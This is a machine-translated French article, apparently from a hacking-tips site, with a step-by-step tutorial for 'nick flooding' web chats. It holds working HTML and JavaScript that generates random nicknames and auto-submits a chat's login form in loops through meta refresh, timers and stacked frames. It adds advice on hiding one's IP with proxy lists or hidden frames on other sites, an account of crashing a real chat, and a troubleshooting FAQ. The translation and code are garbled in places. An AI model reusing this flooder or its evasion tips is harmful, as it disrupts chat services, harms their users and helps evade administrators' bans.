This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat ou nick inondation Partie 1

Continuation >>>


Poursuivant le thème de FA, nous avons décidé d'écrire un autre article, qui correspond maintenant exactement à son titre. Attention: utilisez-le uniquement pour combattre les administrateurs "gelés" qui, par inactivité ou pour montrer leurs capacités, sont exclus du chat pour quelque raison que ce soit sans cela. N'utilisez pas cet outil dans les salons de discussion, à quel endroit vous êtes aliéné normalement, communiquez; vous ne laisserez personne vous parler , car un nombre impressionnant de "personnes" différentes entreront dans le chat, et il y en aura tellement que vous ne pourrez pas exprimer dans le chat ... En d'autres termes, il s'agit de "Nick Flooding".

Nous sauvegardons la page de démarrage sur le disque.
Pour mettre en œuvre, vous aurez besoin d'un chat avec une entrée sans inscription, ainsi que d'une petite connaissance du HTML (bien que ce soit). Nous sauvegardons la page de démarrage du chat, c'est ici que l'on dit "Entrez votre pseudo"

Le code est à ce sujet

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - où les données sont envoyées
Entrez votre pseudo: <type d'entrée = nom texte = Nick > - Vous entrez ici un pseudo
<INPUT name = type de couleur = valeur cachée = rouge> - paint
<INPUT type = submit value = "Start !!!" > - bouton

..................... </ html> </ body>

Et ainsi il regarde dans le navigateur: Entrez votre pseudo

Si vous avez une page de démarrage chargée en tant que cadres, c'est-à-dire vous pouvez déjà voir le message, en bas est écrit "Entrez votre pseudo" (généralement c'est le cadre le plus bas), vous devez cliquer là-bas, cliquez avec le bouton droit sélectionnez "Afficher en html" vous verrez également que dans le cas principal, le code deviendra plus compliqué.

Si vous êtes capable de travailler avec le chat à partir du disque, il est également possible dans ce chat, le code du cadre inférieur après la première phrase parlée aura les éléments suivants:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - où les données sont envoyées
<type d'entrée = nom caché = valeur Nick = votre pseudo> - pseudo (impossible à voir)
<INPUT name = type de couleur = valeur cachée = rouge> - couleur
Entrez la phrase <INPUT TYPE = TEXT name = dire taille = "24"> - le champ de saisie de phrase
<INPUT type = submit value = "Say !!!" >

..................... </ html> </ body>

Si cette discussion se trouve sur http://www.domen.ru puis dans la ligne <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> nous enregistrons également cette adresse: <action FORM = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> maintenant exécuter ce fichier, nous allons aussi de chat à lui, name = " chat_x " peut être absent, alors le temps est autorisé à l'ajouter vous-même. Au lieu de chat_x, il peut également être appelé ami. Si vous pouvez entrer dans le chat à partir de ce fichier, accédez aux éléments suivants.

La première fonctionnalité: générer "Chat des visiteurs"

Si nous utilisons un surnom pour nos besoins, alors il ne va pas étirer plus de 2-3 phrases ... sera jeté. Il est donc nécessaire que le surnom soit toujours différent car cela nous aidera à utiliser le script Java (vous n'avez pas besoin de le savoir, il suffit de mettre vos chiffres) Math.floor (Math.random () * 100000000)

Un exemple est affiché en cliquant sur le bouton:


Explication: L'objet mathématique Math: Math.random () génère un nombre compris entre 0 et 1, puis ce nombre est arrondi à l'aide de Math.floor () et pour qu'il soit multiplié par un entier tel que 10, un nombre compris entre 0 et 9, si multiplié par 100, puis jusqu'à 99, s'il est multiplié par 1000, puis jusqu'à 999 également. c'est à dire la longueur du nombre résultant est inférieure ou égale au nombre de zéros, y compris le nombre multiplié par .... pancake, lui-même est déjà confondu Sourire heureux )) Dans l'exemple (voir ci-dessous), ce nombre est 100000000 ce qui nous donnera un nombre aléatoire, ce sera un surnom ...
Pour que ce numéro rentre dans le formulaire pour le surnom, nous le mettons dans le démarrage de la page, c'est-à-dire dans la balise <body>, ce sera plus tard: <body onload = "document. chat_x . pseudo .value = (Math.floor (Math.random () * 1000000)) " attention au nom du formulaire (voir exemple de code html ci-dessus, il est surligné en jaune), ceci est nécessaire pour garantir que le nombre aléatoire est entré dans la forme souhaitée également dans le champ requis.

Autre caractéristique: envoyer des "visiteurs" au chat.

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

Ce script, pour ainsi dire, "appuie" sur le bouton "Envoyer" et envoie les données du formulaire avec le nom chat_x, dans le chat ce bouton peut être appelé "Entrer" ou "Dire", il fonctionne avec un retard de 1000 ms. (plus tard vous pouvez mettre 100), mais alors les données sont automatiquement envoyées, mais pour cela vous devez enregistrer la fonction submit submit () sur la page de démarrage de notre page. dans le <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit () "> maintenant, lorsque la page est chargée, un nombre aléatoire est sélectionné, puis écrit dans le formulaire chat_x nick de champ. aussi des données du formulaire chat_x envoyé au serveur, il s'avère que le chat est allé à des personnes avec un surnom sous la forme de plusieurs numéros.

Un exemple de code HTML d'un simple chat-inondateur

<HTML> <HEAD> <TITLE> Chat Flooder </ TITLE>

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x ">
<nom de l'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom de l'entrée = pseudo type = text>
<INPUT type = submit value = " Start !!! ">
</ BODY> </ HTML>

Le dernier ... inondation personnelle

Pour ce faire, mangez trois façons.

1.Créez un fichier contenant une paire de cadres, dans un fichier, qui lors du téléchargement crée un pseudonyme et l'envoie également au chat, appelez-le forma.htm, mais dans un autre cadre, tout autre fichier figurant dans l'exemple est yo.htm. Et enregistrez-le sous le nom frames.htm Le code de ce document sera:

Le contenu du fichier frames.htm

<html> <head> <title> Chat Flooder </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> Cette page utilise des cadres, mais votre navigateur ne les prend pas en charge. </ p>
</ body> </ noframes> </ frameset>

Le nom de la trame d' envoi a été spécialement alloué, car les données lui seront envoyées afin que le fichier forma.htm ne soit pas déchargé après le téléchargement. Ensuite, dans le code forma.htm, ajoutez ce qui suit: dans la balise <FORM action = ..... target = " send "> et dans la ligne source de la ligne: <meta http-equiv = "Refresh" content = "1"> pour que le fichier lui-même mis à jour toutes les secondes et définissez Timer = 0. Ce qui s'est passé: Le fichier mis à jour envoie également au chat du visiteur, il peut être vu dans le cadre avec le nom SEND, c'est-à-dire. au lieu du fichier yo.htm, un chat apparaît, puis forma.htm est mis à jour et envoie à nouveau le chela nouvellement créé au chat, est également mis à jour à nouveau, et le chat devient nouveau ... donc à l'infini :) Le taux de rafraîchissement est basé sur la vitesse de connexion.

Exemple de contenu du fichier forma.htm

<HTML>
<HEAD> <TITLE> Chat Flooder </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 0 );
}
</ script>

</ HEAD>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick .value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi, méthode = post name = " chat_x " target = " send ">
<nom de l'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom de l'entrée = pseudo type = text>
<input name = mot de passe type = valeur cachée = "">
<INPUT type = submit value = " Start !!! ">
</ BODY> </ HTML>

2 Méthode Nous faisons d'abord 4 fichiers qui ne différeront que par le délai lors de l'envoi d'un fichier image dans lequel il y aura par exemple 16 (!) Frames, dans les quatre premiers du premier fichier, Timer = setTimeout ("(document.chat_x.submit ())", 1000 ); Dans les quatre autres, le deuxième fichier est chargé avec un délai de 10 000. Dans le troisième, 30 000. Dans le quatrième, le quatrième fichier sera chargé avec un délai de 40 000. toutes les 10 000 ms seront visitées par 4 "personnes" et toutes différentes, mais elles seront sous forme de chiffres, mais ce sont des erreurs ... Si vous avez utilisé le formulaire de connexion, tous vont "entrer" dans le chat. il est permis d'écrire un autre paragraphe du texte en tant que message, à ce moment, chaque pseudonyme généré commencera à parler ... Expérimentez, essayez d'autres variantes avec des cadres ...

Il ne reste plus qu'à cacher votre IP, il est permis d'utiliser A4Proxy , de composer une grande liste de serveurs ....

3 Méthode. Si vous avez un site à manger, vous êtes autorisé à y placer ces fichiers, par exemple dans un cadre caché, alors que IP sera toujours différent ...

Récupérer le chat :)

Les conversations utilisant le système d'ordinateurs privés sont organisées de telle manière qu'elles sont "en ligne" avec l'ordinateur de l'utilisateur sans interruption. constamment générer pour lui le flux de messages, garder une trace de ce qu'il ne s'est pas encore déconnecté, aussi si les utilisateurs font beaucoup de choses alors le chat ne peut pas résister à la "chute". Donc, tout à l'heure, nous étions dans un chat capable de supporter un maximum de 70 personnes, puis il cesse de fonctionner, même si la page de démarrage est également chargée ... Ce n'était pas difficile, il fallait juste créer un fichier qui génère des pseudonymes chat, une minute après le lancement de ce fichier, dans la conversation avec les 23 m existants, il a été ajouté environ 50 personnes :) ) Aussi, il baisse (j'ai utilisé un fichier de nombreuses images, dans lequel il y avait aussi un fichier blah blah) Et il convient de noter que nous étions dans le club, mais il y avait une vitesse impressionnante aussi des ordinateurs puissants :) . Peut aussi avec le modem aussi, il s'avère (comme accepter avec quelqu'un aussi immédiatement de démarrer), ou d'abord l'essayer moi-même, je ne sais pas ... N'oubliez pas que le chat se connecte également des administrateurs après cela peut sembler vouloir voir ce que c'était :) Maintenant, l'accès à l'adresse IP du club Internet "GeForce" dans ce chat est fermé :)

FAQ: Si ça ne marche pas du tout

FlooDer : Je ne peux rien faire :)
Essayez d'abord de discuter avec le disque, c'est-à-dire à partir du formulaire d'entrée stocké sur la vis, si tout s'est avéré, alors l'erreur dans le code "script-flooder" :) , si ça n'a pas marché, alors continue à lire ...

FlooDer : Je suis venu du disque, maintenant je ne peux plus envoyer les données :) quoi agir?
Vérifier l'exactitude du nom des formulaires (name = XxXxX)

FlooDer : Dans la ligne <FORM action = http: //www.***.ru/chat.cgi method = post> common no name = "XxXxX" , que faire?
Insérez lui-même: (name = "chat_x" target = "send") target- pour que les données soient envoyées à la trame d'envoi, cela fonctionne comme ceci: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: Lorsque vous entrez dans le chat, vous devez entrer un mot de passe, c'est bien si aucun pseudo n'est enregistré de quelque manière que ce soit, comment l'écrire dans le code?
Dans le formulaire pour entrer le mot de passe, vous devez ajouter: value = "abrakadabra" alors ce mot de passe sera rejoint par tous les "utilisateurs" générés

Continuation >>>

Il ne sera pas superflu que vos amis connaissent ces informations, partagent leur article avec eux!

Développer / Réduire Expand / Collapse box with comments

Les commentaires

En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les gens réels, montrer du respect et de la tolérance à vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de liberté d'expression et d'anonymat fournies par Internet. non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
Maintenant, tout le monde peut publier des articles
Essayez-le d'abord!
Ecrire un article
L'a aimé? Abonnez-vous aux nouvelles RSS ,
être le premier à recevoir des informations
sur tous les événements importants du pays et du monde.
Vous pouvez également soutenir shram.kiev.ua, cliquez sur: